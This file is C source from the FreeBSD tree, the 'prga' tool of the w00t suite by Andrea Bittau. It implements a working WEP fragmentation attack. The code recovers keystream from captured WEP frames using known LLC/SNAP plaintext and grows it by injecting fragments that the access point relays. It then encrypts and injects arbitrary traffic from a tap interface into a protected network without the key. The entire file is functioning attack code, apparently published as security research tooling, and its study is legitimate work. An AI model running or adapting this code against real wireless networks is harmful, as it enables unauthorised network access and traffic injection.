xref: /freebsd/tools/tools/net80211/w00t/prga/prga.c (revision 59c8e88e72633afbc47a4ace0d2170d00d51f7dc)
1 /*-
2  * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3  * All rights reserved.
4  *
5  * Redistribution and use in source and binary forms, with or without
6  * modification, are permitted provided that the following conditions
7  * are met:
8  * 1. Redistributions of source code must retain the above copyright
9  *    notice, this list of conditions and the following disclaimer.
10  * 2. Redistributions in binary form must reproduce the above copyright
11  *    notice, this list of conditions and the following disclaimer in the
12  *    documentation and/or other materials provided with the distribution.
13  *
14  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24  * SUCH DAMAGE.
25  */
26 #include <sys/endian.h>
27 #include <sys/time.h>
28 #include <sys/select.h>
29 #include <stdio.h>
30 #include <stdlib.h>
31 #include <string.h>
32 #include <err.h>
33 #include <unistd.h>
34 #include <fcntl.h>
35 #include <assert.h>
36 #include <zlib.h>
37 #include "w00t.h"
38 
39 
40 static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
41 static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
42 static int known_pt_len = 8;
43 
44 enum {
45 	S_START = 0,
46 	S_SEND_FRAG,
47 	S_WAIT_ACK,
48 	S_WAIT_RELAY
49 };
50 
51 struct params {
52 	int tx;
53 	int rx;
54 
55 	char mac[6];
56 	char ap[6];
57 
58 	char prga[2048];
59 	int prga_len;
60 	char iv[3];
61 
62 	char *fname;
63 
64 	struct timeval last;
65 	char packet[2048];
66 	int packet_len;
67 	int state;
68 
69 	char data[2048];
70 	char *data_ptr;
71 	int data_len;
72 	int data_try;
73 	int mtu;
74 
75 	int seq;
76 	int frag;
77 
78 	int tap;
79 };
80 
81 void usage(char *p)
82 {
83 	printf("Usage: %s <opts>\n"
84 	       "-h\thelp\n"
85 	       "-b\t<bssid>\n"
86 	       "-t\t<tap>\n"
87 	       , p);
88 	exit(0);
89 }
90 
91 void load_prga(struct params *p)
92 {
93 	int fd;
94 	int rd;
95 
96 	fd = open(p->fname, O_RDONLY);
97 	if (fd == -1) {
98 		p->prga_len = 0;
99 		return;
100 	}
101 
102 	rd = read(fd, p->iv, 3);
103 	if (rd == -1)
104 		err(1, "read()");
105 	if (rd != 3) {
106 		printf("Short read\n");
107 		exit(1);
108 	}
109 
110 	rd = read(fd, p->prga, sizeof(p->prga));
111 	if (rd == -1)
112 		err(1, "read()");
113 	p->prga_len = rd;
114 
115 	printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
116 	close(fd);
117 }
118 
119 void save_prga(struct params *p)
120 {
121 	int fd;
122 	int rd;
123 
124 	fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
125 	if (fd == -1)
126 		err(1, "open()");
127 
128 	rd = write(fd, p->iv, 3);
129 	if (rd == -1)
130 		err(1, "write()");
131 	if (rd != 3) {
132 		printf("Short write\n");
133 		exit(1);
134 	}
135 
136 	rd = write(fd, p->prga, p->prga_len);
137 	if (rd == -1)
138 		err(1, "write()");
139 	if (rd != p->prga_len) {
140 		printf("Wrote %d/%d\n", rd, p->prga_len);
141 		exit(1);
142 	}
143 	close(fd);
144 
145 	printf("Got %d bytes of PRGA\n", p->prga_len);
146 }
147 
148 int is_arp(struct ieee80211_frame *wh, int len)
149 {
150 	/* XXX */
151 	if (len > (sizeof(*wh) + 4 + 4 + 39))
152 		return 0;
153 
154 	return 1;
155 }
156 
157 void get_prga(struct params *p)
158 {
159 	char buf[4096];
160 	int rc;
161         struct ieee80211_frame *wh;
162 	char *bssid;
163 	char *ptr;
164 	char *known_pt;
165 
166         rc = sniff(p->rx, buf, sizeof(buf));
167         if (rc == -1)
168                 err(1, "sniff()");
169 
170         wh = get_wifi(buf, &rc);
171         if (!wh)
172                 return;
173 
174 	if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
175 			IEEE80211_FC0_SUBTYPE_DATA))
176 		return;
177 
178 	if (is_arp(wh, rc))
179 		known_pt = known_pt_arp;
180 	else
181 		known_pt = known_pt_ip;
182 
183 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
184 		bssid = wh->i_addr1;
185 	else
186 		bssid = wh->i_addr2;
187 
188 	if (memcmp(p->ap, bssid, 6) != 0)
189 		return;
190 
191 	if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
192 		printf("Packet not WEP!\n");
193 		return;
194 	}
195 
196 	ptr = (char*) (wh+1);
197 	memcpy(p->iv, ptr, 3);
198 	ptr += 4;
199 	rc -= sizeof(wh) + 4;
200 
201 	assert(rc >= known_pt_len);
202 
203 	for (rc = 0; rc < known_pt_len; rc++) {
204 		p->prga[rc] = known_pt[rc] ^ (*ptr);
205 		ptr++;
206 	}
207 
208 	p->prga_len = rc;
209 	save_prga(p);
210 }
211 
212 void start(struct params *p)
213 {
214 	int len;
215 
216 	len = p->prga_len;
217 	len -= 4;
218 	assert(len > 0);
219 
220 	len *= 4;
221 	if (len > p->mtu)
222 		len = p->mtu;
223 
224 	p->data_len = len;
225 	memset(p->data, 0, p->data_len);
226 	memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
227 	p->data_ptr = p->data;
228 	p->data_try = 0;
229 	p->seq++;
230 	p->frag = 0;
231 	p->state = S_SEND_FRAG;
232 }
233 
234 void send_packet(struct params *p)
235 {
236 	int rc;
237 	struct ieee80211_frame *wh;
238 
239 	rc = inject(p->tx, p->packet, p->packet_len);
240 	if (rc == -1)
241 		err(1, "inject()");
242 	if (rc != p->packet_len) {
243 		printf("Wrote %d/%d\n", rc, p->packet_len);
244 		exit(1);
245 	}
246 
247 	p->data_try++;
248 	wh = (struct ieee80211_frame*) p->packet;
249 	wh->i_fc[1] |= IEEE80211_FC1_RETRY;
250 
251 	if (gettimeofday(&p->last, NULL) == -1)
252 		err(1, "gettimeofday()");
253 }
254 
255 void send_frag(struct params *p)
256 {
257 	struct ieee80211_frame *wh;
258 	int dlen, rem;
259 	int last = 0;
260 	short *seqp;
261 	char *ptr;
262 	uLong *pcrc;
263 	uLong crc = crc32(0L, Z_NULL, 0);
264 	int i;
265 
266 	memset(p->packet, 0, sizeof(p->packet));
267 	wh = (struct ieee80211_frame*) p->packet;
268 
269 	/* calculate how much data we need to copy */
270 	dlen = p->prga_len - 4;
271 	rem = p->data_ptr - p->data;
272 	rem = p->data_len - rem;
273 
274 	if (rem <= dlen) {
275 		dlen = rem;
276 		last = 1;
277 	}
278 
279 	/* 802.11 */
280 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
281 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
282 	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
283 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
284 	if (!last)
285 		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
286 
287 	wh->i_dur[0] = 0x69;
288 	wh->i_dur[1] = 0x00;
289 
290 	memcpy(wh->i_addr1, p->ap, 6);
291 	memcpy(wh->i_addr2, p->mac, 6);
292 	memset(wh->i_addr3, 0xff, 6);
293 
294 	seqp = (short*) wh->i_seq;
295 	*seqp = seqfn(p->seq, p->frag);
296 	p->frag++;
297 
298 	/* IV & data */
299 	ptr = (char*) (wh+1);
300 	memcpy(ptr, p->iv, 3);
301 	ptr += 4;
302 	memcpy(ptr, p->data_ptr, dlen);
303 
304 	/* crc */
305 	crc = crc32(crc, ptr, dlen);
306 	pcrc = (uLong*) (ptr+dlen);
307 	*pcrc = crc;
308 
309 	/* wepify */
310 	for (i = 0; i < dlen+4; i++)
311 		ptr[i] = ptr[i] ^ p->prga[i];
312 
313 	/* prepare for next frag */
314 	p->packet_len = sizeof(*wh) + 4 + dlen + 4;
315 	p->data_ptr += dlen;
316 #if 0
317 	printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
318 	       p->seq, p->frag, dlen);
319 #endif
320 	if (last) {
321 		p->data_ptr = p->data;
322 		p->frag = 0;
323 		p->seq++;
324 	}
325 
326 	/* send it off */
327 	send_packet(p);
328 	p->state = S_WAIT_ACK;
329 }
330 
331 void wait_ack(struct params *p)
332 {
333 	struct timeval now;
334 	int el;
335 	int tout = 10*1000;
336 	fd_set fds;
337 	int rc;
338 	char buf[4096];
339 	struct ieee80211_frame *wh;
340 
341 	if (gettimeofday(&now, NULL) == -1)
342 		err(1, "gettimeofday()");
343 
344 	/* check for timeout */
345 	el = elapsed(&p->last, &now);
346 	if (el >= tout) {
347 		if (p->data_try >= 3) {
348 #if 0
349 			printf("Re-sending whole lot\n");
350 #endif
351 			p->state = S_START;
352 			return;
353 		}
354 #if 0
355 		printf("Re-sending frag\n");
356 #endif
357 		send_packet(p);
358 		el = 0;
359 	}
360 
361 	el = tout - el;
362 	now.tv_sec = el/1000/1000;
363 	now.tv_usec = el - now.tv_sec*1000*1000;
364 
365 	FD_ZERO(&fds);
366 	FD_SET(p->rx, &fds);
367 	if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
368 		err(1, "select()");
369 
370 	if (!FD_ISSET(p->rx, &fds))
371 		return;
372 
373 	/* grab ack */
374         rc = sniff(p->rx, buf, sizeof(buf));
375         if (rc == -1)
376                 err(1, "sniff()");
377 
378         wh = get_wifi(buf, &rc);
379         if (!wh)
380                 return;
381 
382 	if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
383 		return;
384 
385 	if (memcmp(p->mac, wh->i_addr1, 6) != 0)
386 		return;
387 
388 	/* wait for relay */
389 	if (p->frag == 0) {
390 		p->state = S_WAIT_RELAY;
391 		if (gettimeofday(&p->last, NULL) == -1)
392 			err(1, "gettimeofday()");
393 	}
394 	else
395 		p->state = S_SEND_FRAG;
396 }
397 
398 void wait_relay(struct params *p)
399 {
400 	int tout = 20*1000;
401 	struct timeval now;
402 	int el;
403 	fd_set fds;
404 	int rc;
405 	char buf[4096];
406 	struct ieee80211_frame *wh;
407 	char *ptr;
408 	uLong crc = crc32(0L, Z_NULL, 0);
409 	uLong *pcrc;
410 
411 	if (gettimeofday(&now, NULL) == -1)
412 		err(1, "gettimeofday()");
413 
414 	el = elapsed(&p->last, &now);
415 	if (el >= tout) {
416 #if 0
417 		printf("No relay\n");
418 #endif
419 		p->state = S_START;
420 		return;
421 	}
422 	el = tout - el;
423 	now.tv_sec = el/1000/1000;
424 	now.tv_usec = el - now.tv_sec*1000*1000;
425 
426 	FD_ZERO(&fds);
427 	FD_SET(p->rx, &fds);
428 	if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
429 		err(1, "select()");
430 
431 	if (!FD_ISSET(p->rx, &fds))
432 		return;
433 
434 	/* get relay */
435         rc = sniff(p->rx, buf, sizeof(buf));
436         if (rc == -1)
437                 err(1, "sniff()");
438 
439         wh = get_wifi(buf, &rc);
440         if (!wh)
441                 return;
442 
443 	if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
444 			IEEE80211_FC0_SUBTYPE_DATA))
445 		return;
446 
447 	if (memcmp(wh->i_addr2, p->ap, 6) != 0)
448 		return;
449 
450 	if (memcmp(wh->i_addr3, p->mac, 6) != 0)
451 		return;
452 
453 	if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
454 		return;
455 
456 	/* lends different due to padding? */
457 	if ( (rc - sizeof(*wh) - 8) != p->data_len)
458 		return;
459 
460 	/* grab new PRGA */
461 	assert(p->data_len >= p->prga_len);
462 	ptr = (char*) (wh+1);
463 	memcpy(p->iv, ptr, 3);
464 	ptr += 4;
465 
466 	crc = crc32(crc, p->data, p->data_len);
467 	pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
468 	*pcrc = crc;
469 
470 	for (rc = 0; rc < p->data_len+4; rc++)
471 		p->prga[rc] = p->data[rc] ^ ptr[rc];
472 
473 	p->prga_len = p->data_len+4;
474 	p->state = S_START;
475 	save_prga(p);
476 }
477 
478 void get_more_prga(struct params *p)
479 {
480 	switch (p->state) {
481 	case S_START:
482 		start(p);
483 		break;
484 
485 	case S_SEND_FRAG:
486 		send_frag(p);
487 		break;
488 
489 	case S_WAIT_ACK:
490 		wait_ack(p);
491 		break;
492 
493 	case S_WAIT_RELAY:
494 		wait_relay(p);
495 		break;
496 
497 	default:
498 		printf("WTF %d\n", p->state);
499 		abort();
500 		break;
501 	}
502 }
503 
504 void read_tap(struct params *p)
505 {
506 	int offset;
507 	char *ptr;
508 	struct ieee80211_frame *wh;
509 	int rc;
510 	char dst[6];
511 	short *seq;
512 	uLong *pcrc;
513 	uLong crc = crc32(0L, Z_NULL, 0);
514 
515 	memset(p->packet, 0, sizeof(p->packet));
516 	offset = sizeof(*wh) + 4 + 8 - 14;
517 	rc = sizeof(p->packet) - offset;
518 	ptr = &p->packet[offset];
519 
520 	rc = read(p->tap, ptr, rc);
521 	if (rc == -1)
522 		err(1, "read()");
523 
524 	memcpy(dst, ptr, sizeof(dst));
525 	wh = (struct ieee80211_frame*) p->packet;
526 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
527 	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
528 	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
529 	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
530 
531 	wh->i_dur[0] = 0x69;
532 
533 	memcpy(wh->i_addr1, p->ap, 6);
534 	memcpy(wh->i_addr2, p->mac, 6);
535 	memcpy(wh->i_addr3, dst, 6);
536 
537 	seq = (short*) wh->i_seq;
538 	*seq = seqfn(p->seq++, 0);
539 
540 	/* data */
541 	ptr = (char*) (wh+1);
542 	memcpy(ptr, p->iv, 3);
543 	ptr += 3;
544 	*ptr++ = 0;
545 	memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
546 	rc -= 14;
547 	rc += 8;
548 
549 	crc = crc32(crc, ptr, rc);
550 	pcrc = (uLong*) (ptr+rc);
551 	*pcrc = crc;
552 
553 	rc += 4;
554 
555 	assert(p->prga_len >= rc);
556 
557 	/* wepify */
558 	for (offset = 0; offset < rc; offset++)
559 		ptr[offset] ^= p->prga[offset];
560 
561 	p->packet_len = sizeof(*wh) + 4 + rc;
562 	p->data_try = 0;
563 	send_packet(p);
564 	p->state = S_WAIT_ACK;
565 }
566 
567 /* XXX */
568 void wait_tap_ack(struct params *p)
569 {
570 	p->data_try = 0;
571 	p->frag = 1;
572 	wait_ack(p);
573 
574 	if (p->state == S_SEND_FRAG) {
575 #if 0
576 		printf("Got ACK\n");
577 #endif
578 		p->state = S_START;
579 	}
580 }
581 
582 void transmit(struct params *p)
583 {
584 	switch (p->state) {
585 	case S_START:
586 		read_tap(p);
587 		break;
588 
589 	case S_WAIT_ACK:
590 		wait_tap_ack(p);
591 		break;
592 
593 	default:
594 		printf("wtf %d\n", p->state);
595 		abort();
596 		break;
597 	}
598 }
599 
600 int main(int argc, char *argv[])
601 {
602 	struct params p;
603 	char *iface = "wlan0";
604 	char *tap = "tap0";
605 	int ch;
606 
607 	memset(&p, 0, sizeof(p));
608 	p.fname = "prga.log";
609 	memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
610 	p.state = S_START;
611 	p.mtu = 1500;
612 	p.seq = getpid();
613 
614 	while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
615 		switch (ch) {
616 		case 'b':
617 			if (str2mac(p.ap, optarg) == -1) {
618 				printf("Can't parse BSSID\n");
619 				exit(1);
620 			}
621 			break;
622 
623 		case 't':
624 			tap = optarg;
625 			break;
626 
627 		case 'h':
628 		default:
629 			usage(argv[0]);
630 			break;
631 		}
632 	}
633 
634 	/* init */
635 	if ((p.rx = open_rx(iface)) == -1)
636 		err(1, "open_rx()");
637 	if ((p.tx = open_tx(iface)) == -1)
638 		err(1, "open_tx()");
639 
640 	if ((p.tap = open_tap(tap)) == -1)
641 		err(1, "open_tap()");
642 	if (set_iface_mac(tap, p.mac) == -1)
643 		err(1, "set_iface_mac()");
644 
645 	printf("Obtaining PRGA\n");
646 	/* make sure we got some prga */
647 	load_prga(&p);
648 
649 	while (p.prga_len == 0)
650 		get_prga(&p);
651 
652 	/* lets grab some more */
653 	while (p.prga_len < p.mtu)
654 		get_more_prga(&p);
655 
656 	/* transmit */
657 	p.state = S_START;
658 	while (1)
659 		transmit(&p);
660 
661 	exit(0);
662 }
663